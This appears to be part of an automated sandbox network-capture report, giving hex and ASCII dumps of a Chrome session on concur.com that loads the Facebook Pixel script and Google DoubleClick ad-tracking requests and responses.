2024-10-03 08:41:46 UTC	1726	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewpor
2024-10-03 08:41:46 UTC	1500	IN	Data Raw: 2f 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 Data Ascii: /* Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection wi
2024-10-03 08:41:46 UTC	1500	IN	Data Raw: 75 72 6e 21 30 7d 28 29 29 72 65 74 75 72 6e 3b 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 7c 7c 28 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 5b 61 5d 7c 7c 28 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 5b 61 5d 3d 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 5b 61 5d 28 29 29 3b 72 65 74 75 72 6e 20 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 5b 61 5d 7d 2c 66 Data Ascii: urn!0}())return;f.__fbeventsModules\|\|(f.__fbeventsModules={},f.__fbeventsResolvedModules={},f.getFbeventsModules=function(a){f.__fbeventsResolvedModules[a]\|\|(f.__fbeventsResolvedModules[a]=f.__fbeventsModules[a]());return f.__fbeventsResolvedModules[a]},f
2024-10-03 08:41:46 UTC	1500	IN	Data Raw: 3b 62 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 61 2c 62 29 3a 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 61 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 29 7b 66 6f 72 28 76 61 72 20 62 3d 30 2c 63 3d 41 72 72 61 79 28 61 2e 6c 65 6e 67 74 68 29 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 62 2b 2b 29 63 5b 62 5d 3d 61 5b 62 5d 3b 72 65 74 75 72 6e 20 63 7d 65 6c 73 65 20 72 65 74 75 72 6e 20 41 72 72 61 79 2e 66 72 6f 6d 28 61 29 7d 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 7c 7c 28 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f Data Ascii: ;b&&(Object.setPrototypeOf?Object.setPrototypeOf(a,b):a.__proto__=b)}function j(a){if(Array.isArray(a)){for(var b=0,c=Array(a.length);b<a.length;b++)c[b]=a[b];return c}else return Array.from(a)}f.__fbeventsModules\|\|(f.__fbeventsModules={},f.__fbeventsReso
2024-10-03 08:41:46 UTC	1500	IN	Data Raw: 3d 6e 75 6c 6c 26 26 28 63 2e 71 75 65 72 79 3d 3d 3d 64 3f 65 3d 66 2b 65 3a 63 2e 70 72 65 66 69 78 21 3d 22 22 26 26 66 21 3d 22 22 26 26 28 65 2b 3d 22 5f 22 2b 63 2e 70 72 65 66 69 78 2b 22 5f 22 2b 66 29 29 7d 29 7d 72 65 74 75 72 6e 20 65 3d 3d 3d 22 22 3f 6e 75 6c 6c 3a 65 7d 65 2e 65 78 70 6f 72 74 73 3d 7b 63 6f 6d 62 69 6e 65 46 62 63 50 61 72 61 6d 73 46 72 6f 6d 55 72 6c 41 6e 64 45 42 50 3a 68 2c 63 6f 6d 62 69 6e 65 46 62 63 50 61 72 61 6d 73 46 72 6f 6d 55 72 6c 3a 69 2c 67 65 74 55 6e 69 71 75 65 46 62 63 50 61 72 61 6d 43 6f 6e 66 69 67 41 6e 64 56 61 6c 75 65 3a 67 7d 7d 29 28 29 3b 72 65 74 75 72 6e 20 65 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 0a 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 Data Ascii: =null&&(c.query===d?e=f+e:c.prefix!=""&&f!=""&&(e+="_"+c.prefix+"_"+f))})}return e===""?null:e}e.exports={combineFbcParamsFromUrlAndEBP:h,combineFbcParamsFromUrl:i,getUniqueFbcParamConfigAndValue:g}})();return e.exports}(a,b,c,d)});f.ensureModuleRegister
2024-10-03 08:41:46 UTC	193	IN	Data Raw: 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 55 52 4c 55 74 69 6c 22 29 2c 6e 3d 6d 2e 67 65 74 55 52 4c 50 61 72 61 6d 65 74 65 72 3b 6d 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 46 62 63 43 6f 6d 62 69 6e 65 72 22 29 3b 76 61 72 20 6f 3d 6d 2e 63 6f 6d 62 69 6e 65 46 62 63 50 61 72 61 6d 73 46 72 6f 6d 55 72 6c 2c 70 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 73 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 53 68 6f 75 6c 64 4e 6f 74 44 72 6f Data Ascii: ntsModules("SignalsFBEventsURLUtil"),n=m.getURLParameter;m=f.getFbeventsModules("SignalsFBEventsFbcCombiner");var o=m.combineFbcParamsFromUrl,p=f.getFbeventsModules("signalsFBEventsShouldNotDro
2024-10-03 08:41:46 UTC	1500	IN	Data Raw: 70 43 6f 6f 6b 69 65 22 29 3b 6d 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 50 69 78 65 6c 43 6f 6f 6b 69 65 55 74 69 6c 73 22 29 3b 76 61 72 20 71 3d 6d 2e 72 65 61 64 50 61 63 6b 65 64 43 6f 6f 6b 69 65 2c 72 3d 6d 2e 77 72 69 74 65 4e 65 77 43 6f 6f 6b 69 65 2c 73 3d 6d 2e 77 72 69 74 65 45 78 69 73 74 69 6e 67 43 6f 6f 6b 69 65 2c 74 3d 6d 2e 43 4c 49 43 4b 5f 49 44 5f 50 41 52 41 4d 45 54 45 52 2c 75 3d 6d 2e 43 4c 49 43 4b 54 48 52 4f 55 47 48 5f 43 4f 4f 4b 49 45 5f 4e 41 4d 45 2c 76 3d 6d 2e 43 4c 49 43 4b 54 48 52 4f 55 47 48 5f 43 4f 4f 4b 49 45 5f 50 41 52 41 4d 2c 77 3d 6d 2e 44 4f 4d 41 49 4e 5f 53 43 4f 50 45 44 5f 42 52 4f 57 53 45 52 5f 49 44 5f 43 4f 4f 4b 49 45 5f 4e 41 4d 45 2c 78 3d 6d 2e Data Ascii: pCookie");m=f.getFbeventsModules("SignalsPixelCookieUtils");var q=m.readPackedCookie,r=m.writeNewCookie,s=m.writeExistingCookie,t=m.CLICK_ID_PARAMETER,u=m.CLICKTHROUGH_COOKIE_NAME,v=m.CLICKTHROUGH_COOKIE_PARAM,w=m.DOMAIN_SCOPED_BROWSER_ID_COOKIE_NAME,x=m.
2024-10-03 08:41:46 UTC	1500	IN	Data Raw: 6f 72 28 76 61 72 20 66 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 69 3d 41 72 72 61 79 28 66 29 2c 6a 3d 30 3b 6a 3c 66 3b 6a 2b 2b 29 69 5b 6a 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6a 5d 3b 72 65 74 75 72 6e 20 64 3d 28 65 3d 28 63 3d 68 28 74 68 69 73 2c 28 61 3d 62 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 62 29 29 2e 63 61 6c 6c 2e 61 70 70 6c 79 28 61 2c 5b 74 68 69 73 5d 2e 63 6f 6e 63 61 74 28 69 29 29 29 2c 63 29 2c 63 2e 64 72 6f 70 4f 72 52 65 66 72 65 73 68 43 6c 69 63 6b 49 44 43 6f 6f 6b 69 65 3d 44 2c 63 2e 64 72 6f 70 4f 72 52 65 66 72 65 73 68 44 6f 6d 61 69 6e 53 63 6f 70 65 64 42 72 6f 77 73 65 72 49 44 43 6f 6f 6b 69 65 3d 46 2c 63 2e 64 72 6f 70 4f 72 52 65 66 72 65 Data Ascii: or(var f=arguments.length,i=Array(f),j=0;j<f;j++)i[j]=arguments[j];return d=(e=(c=h(this,(a=b.__proto__\|\|Object.getPrototypeOf(b)).call.apply(a,[this].concat(i))),c),c.dropOrRefreshClickIDCookie=D,c.dropOrRefreshDomainScopedBrowserIDCookie=F,c.dropOrRefre
2024-10-03 08:41:46 UTC	1500	IN	Data Raw: 65 72 72 6f 72 22 69 6e 20 63 6f 6e 73 6f 6c 65 26 26 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 46 61 63 65 62 6f 6f 6b 20 50 69 78 65 6c 20 45 72 72 6f 72 3a 20 50 69 78 65 6c 20 63 6f 64 65 20 69 73 20 6e 6f 74 20 69 6e 73 74 61 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 20 6f 6e 20 74 68 69 73 20 70 61 67 65 22 29 3b 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 30 7d 28 29 29 72 65 74 75 72 6e 3b 76 61 72 20 67 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 28 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3a 22 40 40 69 74 65 72 61 74 6f 72 22 29 3d 3d 3d 22 73 79 6d 62 6f 6c 22 3f 66 75 6e 63 74 69 6f 6e 28 Data Ascii: error"in console&&console.error("Facebook Pixel Error: Pixel code is not installed correctly on this page");return!1}return!0}())return;var g=typeof Symbol==="function"&&typeof (typeof Symbol==="function"?Symbol.iterator:"@@iterator")==="symbol"?function(
2024-10-03 08:41:46 UTC	1500	IN	Data Raw: 69 6c 73 22 29 3b 76 61 72 20 6d 3d 69 2e 67 65 74 4e 6f 72 6d 61 6c 69 7a 65 64 50 49 49 56 61 6c 75 65 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 72 65 74 75 72 6e 20 6a 28 67 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 53 68 6f 70 69 66 79 2e 63 68 65 63 6b 6f 75 74 7d 29 21 3d 6e 75 6c 6c 7d 76 61 72 20 6f 3d 7b 63 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6a 28 67 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 53 68 6f 70 69 66 79 2e 63 68 65 63 6b 6f 75 74 2e 62 69 6c 6c 69 6e 67 5f 61 64 64 72 65 73 73 2e 63 69 74 79 7d 29 7d 2c 65 6d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6a 28 67 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 53 68 6f 70 69 66 79 2e 63 Data Ascii: ils");var m=i.getNormalizedPIIValue;function n(){return j(g,function(a){return a.Shopify.checkout})!=null}var o={ct:function(){return j(g,function(a){return a.Shopify.checkout.billing_address.city})},em:function(){return j(g,function(a){return a.Shopify.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	50031	142.250.186.98	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:46 UTC	1489	OUT	GET /td/rul/1044530512?random=1727944905048&cv=11&fst=1727944905048&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dgtag.config HTTP/1.1 Host: td.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
2024-10-03 08:41:46 UTC	646	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 03 Oct 2024 08:41:46 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-03 08:41:46 UTC	744	IN	Data Raw: 34 35 37 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 6f 72 69 67 69 6e 2d 74 72 69 61 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 41 76 68 35 4e 79 30 58 45 46 43 79 51 37 2b 6f 4e 69 65 58 73 6b 55 72 71 59 38 65 64 55 7a 4c 35 2f 58 72 77 4b 6c 47 6a 41 52 51 48 57 34 54 46 52 4b 2b 6a 56 64 35 48 6e 44 49 70 59 32 30 6e 35 4f 4c 48 66 67 55 34 6b 75 37 78 34 38 4e 33 75 68 47 2f 41 30 41 41 41 42 78 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f 69 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 52 76 64 57 4a 73 5a 57 4e 73 61 57 4e 72 4c 6d 35 6c 64 44 6f 30 4e 44 4d 69 4c 43 4a 6d 5a 57 46 30 64 58 4a 6c 49 6a 6f 69 55 48 4a 70 64 6d 46 6a 65 56 4e 68 62 6d 52 69 62 33 68 42 5a 48 4e 42 55 45 6c 7a 49 69 77 69 5a 58 68 77 61 Data Ascii: 457<html><head><meta http-equiv="origin-trial" content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwa
2024-10-03 08:41:46 UTC	374	IN	Data Raw: 2e 6a 6f 69 6e 41 64 49 6e 74 65 72 65 73 74 47 72 6f 75 70 28 69 2e 69 6e 74 65 72 65 73 74 47 72 6f 75 70 41 74 74 72 69 62 75 74 65 73 2c 69 2e 65 78 70 69 72 61 74 69 6f 6e 54 69 6d 65 49 6e 53 65 63 6f 6e 64 73 29 3b 7d 65 6c 73 65 20 69 66 28 69 2e 61 63 74 69 6f 6e 3d 3d 31 29 7b 6e 61 76 69 67 61 74 6f 72 2e 6c 65 61 76 65 41 64 49 6e 74 65 72 65 73 74 47 72 6f 75 70 28 69 2e 69 6e 74 65 72 65 73 74 47 72 6f 75 70 41 74 74 72 69 62 75 74 65 73 29 3b 7d 7d 63 61 74 63 68 28 65 29 7b 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 28 60 68 74 74 70 73 3a 2f 2f 70 61 67 65 61 64 32 2e 67 6f 6f 67 6c 65 73 79 6e 64 69 63 61 74 69 6f 6e 2e 63 6f 6d 2f 70 61 67 65 61 64 2f 67 65 6e 5f 32 30 34 2f 3f 69 64 3d 74 75 72 74 6c 65 78 5f 6a 6f 69 Data Ascii: .joinAdInterestGroup(i.interestGroupAttributes,i.expirationTimeInSeconds);}else if(i.action==1){navigator.leaveAdInterestGroup(i.interestGroupAttributes);}}catch(e){navigator.sendBeacon(`https://pagead2.googlesyndication.com/pagead/gen_204/?id=turtlex_joi
2024-10-03 08:41:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	50029	142.250.186.162	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:46 UTC	926	OUT	GET /pagead/viewthroughconversion/709398600?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.4177247097938397 HTTP/1.1 Host: googleads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
2024-10-03 08:41:46 UTC	850	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 03 Oct 2024 08:41:46 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Location: https://www.google.com/pagead/1p-user-list/709398600?userId=a86be711c5706c39867bd5b89af77ecfb7b5ff8a34a08dc298b0354bf31ba3df&guid=ON&script=0&rand=0.4177247097938397&is_vtc=1&cid=CAQSKQDpaXnfObsu88szb_ToTbqrrUEBAFoCIDv6lKd7IG6hnqRQCHnoh61_&random=821602355 Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-03 08:41:46 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	50030	142.250.186.98	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:46 UTC	1487	OUT	GET /td/rul/1044530512?random=1727944905089&cv=11&fst=1727944905089&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4a10v879515729za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101671035~101747727&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.concur.com%2F&hn=www.googleadservices.com&frm=0&tiba=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur&did=dYmQxMT&gdid=dYmQxMT&npa=0&pscdl=noapi&auid=1251614241.1727944905&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=event%3Dpage_view HTTP/1.1 Host: td.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk; ar_debug=1
2024-10-03 08:41:46 UTC	646	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 03 Oct 2024 08:41:46 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-03 08:41:46 UTC	744	IN	Data Raw: 34 35 37 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 6f 72 69 67 69 6e 2d 74 72 69 61 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 41 76 68 35 4e 79 30 58 45 46 43 79 51 37 2b 6f 4e 69 65 58 73 6b 55 72 71 59 38 65 64 55 7a 4c 35 2f 58 72 77 4b 6c 47 6a 41 52 51 48 57 34 54 46 52 4b 2b 6a 56 64 35 48 6e 44 49 70 59 32 30 6e 35 4f 4c 48 66 67 55 34 6b 75 37 78 34 38 4e 33 75 68 47 2f 41 30 41 41 41 42 78 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f 69 4a 6f 64 48 52 77 63 7a 6f 76 4c 32 52 76 64 57 4a 73 5a 57 4e 73 61 57 4e 72 4c 6d 35 6c 64 44 6f 30 4e 44 4d 69 4c 43 4a 6d 5a 57 46 30 64 58 4a 6c 49 6a 6f 69 55 48 4a 70 64 6d 46 6a 65 56 4e 68 62 6d 52 69 62 33 68 42 5a 48 4e 42 55 45 6c 7a 49 69 77 69 5a 58 68 77 61 Data Ascii: 457<html><head><meta http-equiv="origin-trial" content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwa
2024-10-03 08:41:46 UTC	374	IN	Data Raw: 2e 6a 6f 69 6e 41 64 49 6e 74 65 72 65 73 74 47 72 6f 75 70 28 69 2e 69 6e 74 65 72 65 73 74 47 72 6f 75 70 41 74 74 72 69 62 75 74 65 73 2c 69 2e 65 78 70 69 72 61 74 69 6f 6e 54 69 6d 65 49 6e 53 65 63 6f 6e 64 73 29 3b 7d 65 6c 73 65 20 69 66 28 69 2e 61 63 74 69 6f 6e 3d 3d 31 29 7b 6e 61 76 69 67 61 74 6f 72 2e 6c 65 61 76 65 41 64 49 6e 74 65 72 65 73 74 47 72 6f 75 70 28 69 2e 69 6e 74 65 72 65 73 74 47 72 6f 75 70 41 74 74 72 69 62 75 74 65 73 29 3b 7d 7d 63 61 74 63 68 28 65 29 7b 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 28 60 68 74 74 70 73 3a 2f 2f 70 61 67 65 61 64 32 2e 67 6f 6f 67 6c 65 73 79 6e 64 69 63 61 74 69 6f 6e 2e 63 6f 6d 2f 70 61 67 65 61 64 2f 67 65 6e 5f 32 30 34 2f 3f 69 64 3d 74 75 72 74 6c 65 78 5f 6a 6f 69 Data Ascii: .joinAdInterestGroup(i.interestGroupAttributes,i.expirationTimeInSeconds);}else if(i.action==1){navigator.leaveAdInterestGroup(i.interestGroupAttributes);}}catch(e){navigator.sendBeacon(`https://pagead2.googlesyndication.com/pagead/gen_204/?id=turtlex_joi
